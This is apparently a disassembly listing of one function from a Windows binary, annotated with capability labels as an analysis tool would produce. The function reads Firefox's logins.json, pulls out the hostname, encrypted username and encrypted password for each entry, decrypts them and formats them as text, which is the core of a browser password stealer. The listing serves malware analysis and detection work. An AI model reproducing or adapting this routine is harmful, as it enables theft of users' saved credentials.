Function at 0x100214e3
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
push ebx
xor ebx, ebx
push ebx
push ebx
push 0x104
lea eax, [ebp - 0x158]
push eax
push dword [ebp + 8]
mov dword [ebp - 0x18], ebx
call sub.ntdll.dll_wcslen
pop ecx
inc eax
push eax
push dword [ebp + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
je 0x10021779
lea eax, [ebp - 0x158]
push eax
call dword [0x1002b418]
pop ecx
test eax, eax
jne 0x10021779
push edi
push 0x206
mov word [ebp - 0x360], ax
lea eax, [ebp - 0x35e]
push ebx
push eax
mov dword [ebp - 0x1c], ebx
call sub.ntdll.dll_memset
push str.logins.json
push dword [ebp + 8]
lea eax, [ebp - 0x360]
push str._ws_ws
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
push ebx
push 0x80
push 3
push ebx
push 3
push SysReAllocString
lea eax, [ebp - 0x360]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [ebp - 0x20], edi
cmp edi, 0xffffffff
je 0x10021772
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
mov dword [ebp - 8], esi
call fcn.100012ea
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x10021768
push ebx
lea ecx, [ebp - 0x1c]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10021768
mov esi, str.hostname
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, str.encryptedUsername
lea edi, [ebp - 0x40]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [ebp - 8]
mov esi, str.encryptedPassword
lea edi, [ebp - 0x54]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x100275e4
lea edi, [ebp + 8]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x14]
lea ecx, [esi + eax]
add eax, eax
push eax
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
call fcn.100012ea
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x10021760
lea eax, [ebp - 0x2c]
push eax
push esi
jmp 0x10021747
add esi, 0xb
cmp esi, dword [ebp - 8]
jae 0x10021758
lea eax, [ebp + 8]
push eax
push esi
call sub.ntdll.dll_strstr
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x10021758
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push esi
push dword [ebp - 0xc]
mov byte [eax], bl
push str.Hostname__d_:__S_r_n
push dword [ebp - 4]
call edi
mov esi, dword [ebp + 0xc]
add esp, 0x10
push ebx
push dword [ebp - 4]
call fcn.1002127b
lea eax, [ebp - 0x40]
push eax
mov eax, dword [ebp - 0x10]
inc eax
push eax
call sub.ntdll.dll_strstr
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
je 0x10021758
add esi, 0x14
cmp esi, dword [ebp - 8]
jae 0x10021758
lea eax, [ebp + 8]
push eax
push esi
call sub.ntdll.dll_strstr
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x10021758
push esi
mov byte [eax], bl
call fcn.100213f6
push eax
push dword [ebp - 0xc]
push str.User__d_:__S_r_n
push dword [ebp - 4]
call edi
mov esi, dword [ebp + 0xc]
add esp, 0x10
push ebx
push dword [ebp - 4]
call fcn.1002127b
lea eax, [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x10]
inc eax
push eax
call sub.ntdll.dll_strstr
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
je 0x10021758
add esi, 0x14
cmp esi, dword [ebp - 8]
jae 0x10021758
lea eax, [ebp + 8]
push eax
push esi
call sub.ntdll.dll_strstr
pop ecx
pop ecx
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x10021758
push esi
mov byte [eax], bl
call fcn.100213f6
push eax
push dword [ebp - 0xc]
push str.Password__d_:__S_r_n
push dword [ebp - 4]
call edi
mov esi, dword [ebp + 0xc]
add esp, 0x10
push ebx
push dword [ebp - 4]
call fcn.1002127b
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x18], 1
cmp eax, dword [ebp - 8]
jae 0x10021758
inc dword [ebp - 0xc]
lea ecx, [ebp - 0x2c]
push ecx
push eax
call sub.ntdll.dll_strstr
mov esi, eax
pop ecx
pop ecx
cmp esi, ebx
jne 0x1002162f
push dword [ebp - 4]
call fcn.100012ff
push dword [ebp - 0x14]
call fcn.100012ff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
call dword [0x1002b420]
pop edi
mov eax, dword [ebp - 0x18]
pop ebx
leave
ret 8